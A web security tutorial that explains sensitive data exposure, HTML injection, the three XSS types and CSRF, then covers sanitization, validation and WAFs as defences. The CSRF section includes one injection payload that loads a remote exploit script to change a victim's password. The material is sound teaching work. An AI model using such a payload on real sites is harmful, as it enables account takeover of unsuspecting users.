Sensitive Data Exposure
If a front end vulnerability is leveraged to attack admin users, it could result in unauthorized access, access to sensitive data, service disruption, and more.
Sensitive Data Exposure refers to the availability of sensitive data in clear-text to the end-user. This is usually found in the source code of the web page or page source on the front end of web applications.
This is the HTML source code of the application, not to be confused with the back end code that is typically only accessible on the server itself.
Sometimes a developer may disable right-clicking on a web application, but this does not prevent us from viewing the page source as we can merely type ctrl + u or view the page source through a web proxy such as Burp Suite.
Sometimes we may find login credentials, hashes, or other sensitive data hidden in the comments of a web page’s source code or within external JavaScript code being imported. Other sensitive information may include exposed links or directories or even exposed user information, all of which can potentially be leveraged to further our access within the web application or even the web application’s supporting infrastructure (webserver, database server, etc.)
HTML Injection
HTML injection occurs when unfiltered user input is displayed on the page. This can either be through retrieving previously submitted code, like retrieving a user comment from the back end database, or by directly displaying unfiltered user input through JavaScript on the front end.
Cross-Site Scripting (XSS)
HTML Injection vulnerabilities can often be utilized to also perform Cross-Site Scripting (XSS) attacks by injecting JavaScript code to be executed on the client-side.
There are three main types of XSS:
| Type | Description |
|---|---|
Reflected XSS | Occurs when user input is displayed on the page after processing (e.g., search result or error message). |
Stored XSS | Occurs when user input is stored in the back end database and then displayed upon retrieval (e.g., posts or comments). |
DOM XSS | Occurs when user input is directly shown in the browser and is written to an HTML DOM object (e.g., vulnerable username or page title). |
Cross-Site Request Forgery (CSRF)
CSRF attacks may utilize XSS vulnerabilities to perform certain queries, and API calls on a web application that the victim is currently authenticated to. This would allow the attacker to perform actions as the authenticated user. It may also utilize other vulnerabilities to perform the same functions, like utilizing HTTP parameters for attacks.
A common CSRF attack to gain higher privileged access to a web application is to craft a JavaScript payload that automatically changes the victim’s password to the value set by the attacker. Once the victim views the payload on the vulnerable page (e.g., a malicious comment containing the JavaScript CSRF payload), the JavaScript code would execute automatically. It would use the victim’s logged-in session to change their password. Once that is done, the attacker can log in to the victim’s account and control it.
Following this example, instead of using JavaScript code that would return the session cookie, we would load a remote .js (JavaScript) file, as follows:
"><script src=//www.example.com/exploit.js></script>The exploit.js file would contain the malicious JavaScript code that changes the user’s password. Developing the exploit.js in this case requires knowledge of this web application’s password changing procedure and APIs. The attacker would need to create JavaScript code that would replicate the desired functionality and automatically carry it out (i.e., JavaScript code that changes our password for this specific web application).
Prevention
Two main controls must be applied when accepting user input:
| Type | Description |
|---|---|
Sanitization | Removing special characters and non-standard characters from user input before displaying it or storing it. |
Validation | Ensuring that submitted user input matches the expected format (i.e., submitted email matched email format) |
| Another solution would be to implement a web application firewall (WAF), which should help to prevent injection attempts automatically. However, it should be noted that WAF solutions can potentially be bypassed, so developers should follow coding best practices and not merely rely on an appliance to detect/block attacks. | |
| This Cross-Site Request Forgery Prevention Cheat Sheet from OWASP discusses the attack and prevention measures in greater detail. |
NEXT: Back End Components